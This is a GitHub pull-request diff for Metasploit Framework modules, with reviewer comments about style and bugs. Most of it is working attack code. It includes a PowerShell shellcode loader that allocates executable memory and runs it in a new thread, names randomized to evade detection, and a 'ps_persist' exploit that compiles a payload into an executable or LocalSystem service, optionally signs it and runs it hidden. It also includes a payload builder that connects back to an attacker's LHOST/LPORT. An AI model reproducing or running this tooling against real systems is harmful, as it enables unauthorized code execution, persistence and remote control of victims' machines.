+ var_cert = Rex::Text.rand_text_alpha(rand(8)+8)
+
+ compiler = <<EOS
+function #{var_func} {
+param (
+[string[]] $#{var_code}
+, [string[]] $references = @()
+)
+$#{var_provider} = New-Object #{provider}
+$#{var_params} = New-Object System.CodeDom.Compiler.CompilerParameters
+@( "#{assemblies.join('", "')}", ([System.Reflection.Assembly]::GetAssembly( [PSObject] ).Location) ) | Sort -unique |% { $#{var_params}.ReferencedAssemblies.Add( $_ ) } | Out-Null
+$#{var_params}.GenerateExecutable = #{var_gen_exe}
+$#{var_params}.OutputAssembly = "#{target}"
+$#{var_params}.GenerateInMemory = $true
+$#{var_params}.CompilerOptions = "#{compiler_opts}"
+# $#{var_params}.IncludeDebugInformation = $true
+$#{var_output} = $#{var_provider}.CompileAssemblyFromSource( $#{var_params}, $#{var_code} )
+if ( $#{var_output}.Errors.Count -gt 0 ) {
+$#{var_output}.Errors |% { Write-Error $_.ToString() }
+} else { return $#{var_output}.CompiledAssembly}
+}
+#{var_func} -#{var_code} @'
+
+#{dot_net_code}
+
+'@
+
+EOS
+
+ if certificate and target
+ compiler += <<EOS
+#{var_cert} = Get-PfxCertificate #{certificate}
+Set-AuthenticodeSignature -Filepath #{target} -Cert #{var_cert}
+
+
+EOS
+
+
+ end
+ # PS uses .NET 2.0 by default which doesnt work @ present (20120814, RLTM)
+ # x86 targets also need to be compiled in x86 powershell instance
+ run_32 = compiler_opts =~ /platform:x86/i ? true : false
+ if opts[:net_clr] and opts[:net_clr] > 2 # PS before 3.0 natively uses NET 2
+ return elevate_net_clr(compiler, run_32, opts[:net_clr])
+ else
+ return compiler
+ end
+
+ end
+
+ def elevate_net_clr(ps_code, run_32 = false, net_ver = '4.0')
+ var_func = Rex::Text.rand_text_alpha(rand(8)+8)
+ var_conf_path = Rex::Text.rand_text_alpha(rand(8)+8)
+ var_env_name = Rex::Text.rand_text_alpha(rand(8)+8)
+ var_env_old = Rex::Text.rand_text_alpha(rand(8)+8)
+ var_run32 = Rex::Text.rand_text_alpha(rand(8)+8)
+
+ exec_wrapper = <<EOS
+function #{var_func} {
+[CmdletBinding()]
+param (
+[Parameter(Mandatory=$true)]
+[ScriptBlock]
+$ScriptBlock
+)
+$#{var_run32} = $#{run_32.to_s}
+if ($PSVersionTable.CLRVersion.Major -eq #{net_ver.to_i}) {
+Invoke-Command -ScriptBlock $ScriptBlock -ArgumentList $ArgumentList
+return
+}
+$#{var_conf_path} = $Env:TEMP | Join-Path -ChildPath ([Guid]::NewGuid())
+New-Item -Path $#{var_conf_path} -ItemType Container | Out-Null
+@"
+<?xml version="1.0" encoding="utf-8" ?>
+<configuration>
+<startup useLegacyV2RuntimeActivationPolicy="true">
+<supportedRuntime version="v#{net_ver.to_f}"/>
+</startup>
+</configuration>
+"@ | Set-Content -Path $#{var_conf_path}/powershell.exe.activation_config -Encoding UTF8
+$#{var_env_name} = 'COMPLUS_ApplicationMigrationRuntimeActivationConfigPath'
+$#{var_env_old} = [Environment]::GetEnvironmentVariable($#{var_env_name})
+[Environment]::SetEnvironmentVariable($#{var_env_name}, $#{var_conf_path})
+try { if ($#{var_run32} -and [IntPtr]::size -eq 8 ) {
+&"$env:windir\\syswow64\\windowspowershell\\v1.0\\powershell.exe" -inputformat text -command $ScriptBlock -noninteractive
+} else {
+&"$env:windir\\system32\\windowspowershell\\v1.0\\powershell.exe" -inputformat text -command $ScriptBlock -noninteractive
+}} finally {
+[Environment]::SetEnvironmentVariable($#{var_env_name}, $#{var_env_old})
+$#{var_conf_path} | Remove-Item -Recurse
+}
+}
+#{var_func} -ScriptBlock {
+#{ps_code}
+}
+
+
+EOS
+
+ end
+
+end; end; end; end; end
View
9 lib/msf/util/exe.rb
@@ -1089,12 +1089,13 @@ def self.to_win32pe_psh_net(framework, code, opts={})
var_codeProvider = Rex::Text.rand_text_alpha(rand(8)+8)
var_compileParams = Rex::Text.rand_text_alpha(rand(8)+8)
var_syscode = Rex::Text.rand_text_alpha(rand(8)+8)
+ var_function = Rex::Text.rand_text_alpha_lower(rand(8)+8)
code = code.unpack('C*')
psh = "Set-StrictMode -Version 2\r\n"
psh << "$#{var_syscode} = @\"\r\nusing System;\r\nusing System.Runtime.InteropServices;\r\n"
psh << "namespace #{var_kernel32} {\r\n"
- psh << "public class func {\r\n"
+ psh << "public class #{var_function} {\r\n"
psh << "[Flags] public enum AllocationType { Commit = 0x1000, Reserve = 0x2000 }\r\n"
psh << "[Flags] public enum MemoryProtection { ExecuteReadWrite = 0x40 }\r\n"
psh << "[Flags] public enum Time : uint { Infinite = 0xFFFFFFFF }\r\n"
@@ -1120,12 +1121,12 @@ def self.to_win32pe_psh_net(framework, code, opts={})
end
psh << lines.join("") + "\r\n\r\n"
- psh << "$#{var_baseaddr} = [#{var_kernel32}.func]::VirtualAlloc(0, $#{var_code}.Length + 1, [#{var_kernel32}.func+AllocationType]::Reserve -bOr [#{var_kernel32}.func+AllocationType]::Commit, [#{var_kernel32}.func+MemoryProtection]::ExecuteReadWrite)\r\n"
+ psh << "$#{var_baseaddr} = [#{var_kernel32}.#{var_function}]::VirtualAlloc(0, $#{var_code}.Length + 1, [#{var_kernel32}.#{var_function}+AllocationType]::Reserve -bOr [#{var_kernel32}.#{var_function}+AllocationType]::Commit, [#{var_kernel32}.#{var_function}+MemoryProtection]::ExecuteReadWrite)\r\n"
@jlee-r7 Collaborator
jlee-r7 added a note

Ridiculously long line. 100 columns, please

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
psh << "if ([Bool]!$#{var_baseaddr}) { $global:result = 3; return }\r\n"
psh << "[System.Runtime.InteropServices.Marshal]::Copy($#{var_code}, 0, $#{var_baseaddr}, $#{var_code}.Length)\r\n"
- psh << "[IntPtr] $#{var_threadHandle} = [#{var_kernel32}.func]::CreateThread(0,0,$#{var_baseaddr},0,0,0)\r\n"
+ psh << "[IntPtr] $#{var_threadHandle} = [#{var_kernel32}.#{var_function}]::CreateThread(0,0,$#{var_baseaddr},0,0,0)\r\n"
psh << "if ([Bool]!$#{var_threadHandle}) { $global:result = 7; return }\r\n"
- psh << "$#{var_temp} = [#{var_kernel32}.func]::WaitForSingleObject($#{var_threadHandle}, [#{var_kernel32}.func+Time]::Infinite)\r\n"
+ psh << "$#{var_temp} = [#{var_kernel32}.#{var_function}]::WaitForSingleObject($#{var_threadHandle}, [#{var_kernel32}.#{var_function}+Time]::Infinite)\r\n"
end
def self.to_win32pe_psh(framework, code, opts={})
View
29 modules/exploits/windows/local/current_user_psexec.rb
@@ -64,7 +64,11 @@ def initialize(info={})
OptString.new("NAME", [ false, "Service name on each target in RHOSTS (Default: random)" ]),
OptString.new("DISPNAME", [ false, "Service display name (Default: random)" ]),
OptAddressRange.new("RHOSTS", [ false, "Target address range or CIDR identifier" ]),
- ])
+ ], self.class)
+ register_advanced_options([
+ OptString.new('SERVICE_BIN_PATH', [ false, "Path on host to service binary"]),
+ OptInt.new('EXEC_DELAY', [ true, "Number of seconds to wait for payload execution", 30]),
+ ], self.class)
end
def exploit
@@ -90,14 +94,20 @@ def exploit
# Generate an executable from the shellcode and drop it in the share
# directory
filename = "#{Rex::Text.rand_text_alphanumeric(8)}.exe"
- payload_exe = generate_payload_exe_service(
- :servicename => name,
- # XXX Ghetto
- :arch => payload.send(:pinst).arch.first
- )
-
print_status("Dropping payload #{filename}")
- write_file("#{share_dir}\\#{filename}", payload_exe)
+ if datastore['SERVICE_BIN_PATH'] and !datastore['SERVICE_BIN_PATH'].empty?
+ print_status('Using hotness')
+ out = cmd_exec("cmd /c copy #{datastore['SERVICE_BIN_PATH']} #{share_dir}\\#{filename}")
+ vprint_good(out)
+ else
+ payload_exe = generate_payload_exe_service(
+ :servicename => name,
+ # XXX Ghetto
+ :arch => payload.send(:pinst).arch.first
+ )
+
+ write_file("#{share_dir}\\#{filename}", payload_exe)
+ end
service_executable = "\\\\#{share_host}\\#{share_name}\\#{filename}"
@@ -114,7 +124,8 @@ def exploit
# service.
print_status("#{server.ljust(16)} Starting the service")
service_start(name, server)
-
+ print_status("#{server.ljust(16)} Allowing time for payload to run")
+ Rex::ThreadSafe.sleep(datastore['EXEC_DELAY'])
print_status("#{server.ljust(16)} Deleting the service")
service_delete(name, server)
rescue
View
202 modules/exploits/windows/local/ps_persist.rb
@@ -0,0 +1,202 @@
+
+##
+# $Id$
+##
+
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+
+require 'msf/core'
+ require 'msf/core/post/windows/services'
+require 'msf/core/post/windows/powershell'
+require 'msf/core/post/windows/powershell/dot_net'
+
+class Metasploit3 < Msf::Exploit::Local
+ Rank = ExcellentRanking
+
+ include Msf::Post::Windows::WindowsServices
+ include Msf::Post::Windows::Powershell
+ include Msf::Post::Windows::Powershell::DotNet
+
+ def initialize(info={})
+ super(update_info(info,
+ 'Name' => "Powershell Payload Execution",
+ 'Description' => %q{
+ This module generates a dynamic executable on the session host using .NET templates.
+ Code is pulled from C# templates and impregnated with a payload before being
+ sent to a modified PowerShell session with .NET 4 loaded. The compiler builds
+ the executable (standard or Windows service) in memory and produces a binary
+ which can be started/installed and downloaded for later use. After compilation the
+ PoweShell session can also sign the executable if provided a path the a .pfx formatted
+ certificate.
+ },
+ 'License' => MSF_LICENSE,
+ 'Version' => '$Revision$',
+ 'Author' => [
+ 'RageLtMan <rageltman[at]sempervictus>', # Module, libs, and powershell-fu
+ 'Matt "hostess" Andreko' # .NET harness, and requested modifications
+ ],
+
+ 'Payload' =>
+ {
+ 'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
+ 'EncoderOptions' =>
+ {
+ 'BufferRegister' => 'EAX',
+ },
+ },
+ 'Platform' => [ 'windows' ],
+ 'SessionTypes' => [ 'meterpreter' ],
+ 'Targets' => [ [ 'Universal', {} ] ],
+ 'DefaultTarget' => 0,
+
+ ))
+
+ register_options(
+ [
+ OptBool.new('SVC_GEN', [false, 'Build a Windows service, which defaults to running as localsystem', false ]),
+ OptString.new('SVC_NAME', [false, 'Name to use for the Windows Service', 'MsfDynSvc']),
+ OptString.new('SVC_DNAME', [false, 'Display Name to use for the Windows Service', 'MsfDynSvc']),
+ OptBool.new('START_APP', [false, 'Run EXE/Install Service', true ]),
+ OptString.new('OUTPUT_TARGET', [false, 'Name and path of the generated executable, default random, omit extension' ]),
+
+ ], self.class)
+
+ register_advanced_options(
+ [
+ OptString.new('CERT_PATH', [false, 'Path on host to .pfx fomatted certificate for signing' ]),
+ OptBool.new('SVC_REMOVE', [false, 'Remove Windows service named SVC_NAME']),
+
+ ], self.class)
+
+ end
+
+ def exploit
+
+ # Make sure we meet the requirements before running the script
+ if !(session.type == "meterpreter" || have_powershell?)
+ print_error("Incompatible Environment")
+ return 0
+ end
+ # Havent figured this one out yet, but we need a PID owned by a user, cant steal tokens either
+ if client.sys.config.getuid == 'NT AUTHORITY\SYSTEM'
@jlee-r7 Collaborator
jlee-r7 added a note

This string is localized. Check will fail if we're running on a non-English system

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
+ print_error("Cannot run as system")
+ return 0
+ end
+
+
+
+ # End of file marker
+ eof = Rex::Text.rand_text_alpha(8)
+ env_suffix = Rex::Text.rand_text_alpha(8)
+
+ com_opts = {}
+ com_opts[:net_clr] = '4.0'.to_f # Min .NET runtime to load into a PS session
+ com_opts[:target] = datastore['OUTPUT_TARGET'] || session.fs.file.expand_path('%TEMP%') + "\\#{ Rex::Text.rand_text_alpha(rand(8)+8) }.exe"
@jlee-r7 Collaborator
jlee-r7 added a note

datastore options may come in as an empty string. Better would be something like:

com_opts[:target] = datastore["OUTPUT_TARGET"]
if com_opts[:target].nil? or com_opts[:target].empty?
    com_opts[:target] = ...
end
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
+ com_opts[:payload] = payload_script
+ if datastore['SVC_GEN']
+ com_opts[:harness] = File.join(Msf::Config.install_root, 'external', 'source', 'psh_exe', 'dot_net_service.cs')
@jlee-r7 Collaborator
jlee-r7 added a note

files that are used directly should not live in external/source/. Move this to data/

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
+ com_opts[:assemblies] = ['System.ServiceProcess.dll', 'System.Net.dll', 'System.Configuration.Install.dll']
+ else
+ com_opts[:harness] = File.join(Msf::Config.install_root, 'external', 'source', 'psh_exe', 'dot_net_exe.cs')
+ end
+
+ com_opts[:cert] = datastore['CERT_PATH']
+
+ if datastore['SVC_REMOVE']
+ remove_dyn_service(com_opts[:target])
+ return
+ end
+ vprint_good("Writing to #{com_opts[:target]}")
+ payload = dot_net_compiler(com_opts)
+
+ # Compress
+ print_status('Compressing script contents:')
+ compressed_script = compress_script(payload, eof)
+
+ # If the compressed size is > 8100 bytes, launch stager
+ if (compressed_script.size > 8100)
+ print_error(" - Compressed size: #{compressed_script.size}")
+ error_msg = "Compressed size may cause command to exceed "
+ error_msg += "cmd.exe's 8kB character limit."
+ print_error(error_msg)
+ print_status('Launching stager:')
+ script = stage_to_env(compressed_script, env_suffix)
+ print_good("Payload successfully staged.")
+ else
+ print_good(" - Compressed size: #{compressed_script.size}")
+ script = compressed_script
+ end
+
+ # Execute the powershell script
+ print_status('Executing the script.')
+ cmd_out, running_pids, open_channels = execute_script(script, true)
+ get_ps_output(cmd_out,eof)
+ vprint_good( "Cleaning up #{running_pids.join(', ')}" )
+
+ clean_up(nil, eof, running_pids, open_channels, env_suffix, false)
+
+ # Check for result
+ begin
+ size = session.fs.file.stat(com_opts[:target].gsub('\\','\\\\')).size
+ vprint_good("File #{com_opts[:target].gsub('\\','\\\\')} found, #{size}kb")
+ rescue
+ print_error("File #{com_opts[:target].gsub('\\','\\\\')} not found")
+ return
+ end
+
+ # Run the harness
+ if datastore['START_APP']
+ if datastore['SVC_GEN']
+ service_create(datastore['SVC_NAME'], datastore['SVC_DNAME'], com_opts[:target].gsub('\\','\\\\'), startup=2, server=nil)
+ if service_start(datastore['SVC_NAME']).to_i == 0
+ vprint_good("Service Started")
+ end
+ else
+ session.sys.process.execute(com_opts[:target].gsub('\\','\\\\'), nil, {'Hidden' => true, 'Channelized' => true})
+ end
+ end
+
+
+ print_good('Finished!')
+ end
+
+
+ # This should be handled by the exploit mixin, right?
@jlee-r7 Collaborator
jlee-r7 added a note

Yes, you definitely should not be creating payloads yourself.

Though i concur i'm a bit hazy on how to do this. I tried adding payload options like normal exploits have at the init hash, but they're not taken into account. Could you provide a quick mock-up for me to work from?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
+ def payload_script
+ pay_mod = framework.payloads.create(datastore['PAYLOAD'])
+ payload = pay_mod.generate_simple(
+ "BadChars" => '',
+ "Format" => 'raw',
+ "Encoder" => 'x86/alpha_mixed',
+ "ForceEncode" => true,
+ "Options" =>
+ {
+ 'LHOST' => datastore['LHOST'],
+ 'LPORT' => datastore['LPORT'],
+ 'EXITFUNC' => 'thread',
+ 'BufferRegister' => 'EAX'
+ },
+ )
+
+ # To ensure compatibility out payload should be US-ASCII
+ return payload.encode('ASCII')
+ end
+
+ def remove_dyn_service(file_path)
+ service_stop(datastore['SVC_NAME'])
+ if service_delete(datastore['SVC_NAME'])['GetLastError'] == 0
+ vprint_good("Service #{datastore['SVC_NAME']} Removed, deleting #{file_path.gsub('\\','\\\\')}")
+ session.fs.file.rm(file_path.gsub('\\','\\\\'))
+ else
+ print_error("Something went wrong, not deleting #{file_path.gsub('\\','\\\\')}")
+ end
+ return
+ end
+
+end
View
144 modules/post/windows/manage/powershell/build_net_code.rb
@@ -0,0 +1,144 @@
+
+##
+# $Id$
+##
+
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+require 'msf/core'
+require 'msf/core/post/windows/powershell'
+require 'msf/core/post/windows/powershell/dot_net'
+
+class Metasploit3 < Msf::Post
+ Rank = ExcellentRanking
+
+ include Msf::Post::Windows::Powershell
+ include Msf::Post::Windows::Powershell::DotNet
+
+ def initialize(info={})
+ super(update_info(info,
+ 'Name' => "Powershell .NET Compiler",
+ 'Description' => %q{
+ This module will build a .NET source file using powershell. The compiler builds
+ the executable or library in memory and produces a binary. After compilation the
+ PoweShell session can also sign the executable if provided a path the a .pfx formatted
@jlee-r7 Collaborator
jlee-r7 added a note

Typos.
s/PoweShell/PowerShell/
s/path the a/path to a/

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
+ certificate. Compiler options and a list of assemblies required can be configured
+ in the datastore.
+ },
+ 'License' => MSF_LICENSE,
+ 'Version' => '$Revision$',
+ 'Author' => 'RageLtMan <rageltman[at]sempervictus>',
+ 'Platform' => [ 'windows' ],
+ 'SessionTypes' => [ 'meterpreter' ],
+ 'Targets' => [ [ 'Universal', {} ] ],
+ 'DefaultTarget' => 0,
+
+ ))
+
+ register_options(
+ [
+ OptPath.new('SOURCE_FILE', [true, 'Path to source code']),
+ OptBool.new('RUN_BINARY', [false, 'Execute the genrated binary', false]),
@jlee-r7 Collaborator
jlee-r7 added a note

s/genrated/generated/

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
+ OptString.new('ASSEMBLIES', [
+ false,
+ 'Any assemblies outside the defaults',
+ "mscorlib.dll, System.dll, System.Xml.dll, System.Data.dll, System.Net.dll"
+ ]),
+ OptString.new('OUTPUT_TARGET', [true, 'Name and path of the generated binary, default random, omit extension' ]),
+ OptString.new('COMPILER_OPTS', [false, 'Options to pass to compiler', '/optimize']),
+ OptString.new('CODE_PROVIDER', [true, 'Code provider to use', 'Microsoft.CSharp.CSharpCodeProvider']),
+
+ ], self.class)
+ register_advanced_options(
+ [
+ OptString.new('NET_CLR_VER', [false, 'Minimun NET CLR version required to compile', '3.5']),
+ ], self.class)
+
+ end
+
+ def exploit
+
+ # Make sure we meet the requirements before running the script
+ if !(session.type == "meterpreter" || have_powershell?)
+ print_error("Incompatible Environment")
+ return 0
+ end
+ # Havent figured this one out yet, but we need a PID owned by a user, cant steal tokens either
+ if client.sys.config.getuid == 'NT AUTHORITY\SYSTEM'
@jlee-r7 Collaborator
jlee-r7 added a note

Localized, see above.

Whats the non-localized way to get privilege level?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
+ print_error("Cannot run as system")
+ return 0
+ end
+
+
+
+ # End of file marker
+ eof = Rex::Text.rand_text_alpha(8)
+ env_suffix = Rex::Text.rand_text_alpha(8)
+ net_com_opts = {}
+ net_com_opts[:target] = datastore['OUTPUT_TARGET'] || session.fs.file.expand_path('%TEMP%') + "\\#{ Rex::Text.rand_text_alpha(rand(8)+8) }.exe"
+ net_com_opts[:com_opts] = datastore['COMPILER_OPTS']
+ net_com_opts[:provider] = datastore['CODE_PROVIDER']
+ net_com_opts[:assemblies] = datastore['ASSEMBLIES']
+ net_com_opts[:net_clr] = datastore['NET_CLR_VER']
+ net_com_opts[:cert] = datastore['CERT_PATH']
+
+ begin
+ script = ::File.read(datastore['SOURCE_FILE'])
+ rescue => e
+ print_error(e)
+ return
+ end
+
+ vprint_good("Writing to #{net_com_opts[:target]}")
+
+ # Compress
+ print_status('Compressing script contents:')
+ compressed_script = compress_script(script, eof)
+
+ # If the compressed size is > 8100 bytes, launch stager
+ if (compressed_script.size > 8100)
+ print_error(" - Compressed size: #{compressed_script.size}")
+ error_msg = "Compressed size may cause command to exceed "
+ error_msg += "cmd.exe's 8kB character limit."
+ print_error(error_msg)
+ print_status('Launching stager:')
+ script = stage_to_env(compressed_script, env_suffix)
+ print_good("Payload successfully staged.")
+ else
+ print_good(" - Compressed size: #{compressed_script.size}")
+ script = compressed_script
+ end
+
+ # Execute the powershell script
+ print_status('Executing the script.')
+ cmd_out, running_pids, open_channels = execute_script(script, true)
+ get_ps_output(cmd_out,eof)
+ vprint_good( "Cleaning up #{running_pids.join(', ')}" )
+
+ clean_up(nil, eof, running_pids, open_channels, env_suffix, false)
+
+ # Check for result
+ begin
+ size = session.fs.file.stat(net_com_opts[:target].gsub('\\','\\\\')).size
+ vprint_good("File #{net_com_opts[:target].gsub('\\','\\\\')} found, #{size}kb")
+ rescue
+ print_error("File #{net_com_opts[:target].gsub('\\','\\\\')} not found")
+ return
+ end
+
+ # Run the result
+ if datastore['RUN_BINARY']
+ session.sys.process.execute(net_com_opts[:target].gsub('\\','\\\\'), nil, {'Hidden' => true, 'Channelized' => true})
+ end
+
+
+ print_good('Finished!')
+ end
+
+
+end
View
24 modules/post/windows/manage/powershell/exec_powershell.rb
@@ -37,7 +37,7 @@ def initialize(info={})
'SessionTypes' => ['meterpreter'],
'Author' => [
'Nicholas Nam (nick[at]executionflow.org)', # original meterpreter script
- 'RageLtMan' # post module
+ 'RageLtMan <rageltman[at]sempervictus>' # post module
]
))
@@ -69,23 +69,10 @@ def run
# check/set vars
subs = process_subs(datastore['SUBSTITUTIONS'])
script_in = read_script(datastore['SCRIPT'])
- print_status(script_in)
# Make substitutions in script if needed
script_in = make_subs(script_in, subs) unless subs.empty?
-
- # Get target's computer name
- computer_name = session.sys.config.sysinfo['Computer']
-
- # Create unique log directory
- log_dir = ::File.join(Msf::Config.log_directory,'scripts', computer_name)
- ::FileUtils.mkdir_p(log_dir)
-
- # Define log filename
- script_ext = ::File.extname(datastore['SCRIPT'])
- script_base = ::File.basename(datastore['SCRIPT'], script_ext)
- time_stamp = ::Time.now.strftime('%Y%m%d:%H%M%S')
- log_file = ::File.join(log_dir,"#{script_base}-#{time_stamp}.txt")
+ vprint_good("Script to be executed:\n#{script_in}")
# Compress
print_status('Compressing script contents.')
@@ -111,11 +98,8 @@ def run
# Execute the powershell script
print_status('Executing the script.')
- cmd_out, running_pids, open_channels = execute_script(script, datastore['TIMEOUT'])
-
- # Write output to log
- print_status("Logging output to #{log_file}.")
- write_to_log(cmd_out, log_file, eof)
+ cmd_out, running_pids, open_channels = execute_script(script)
+ get_ps_output(cmd_out, eof)
# Clean up
print_status('Cleaning up residual objects and processes.')
Something went wrong with that request. Please try again.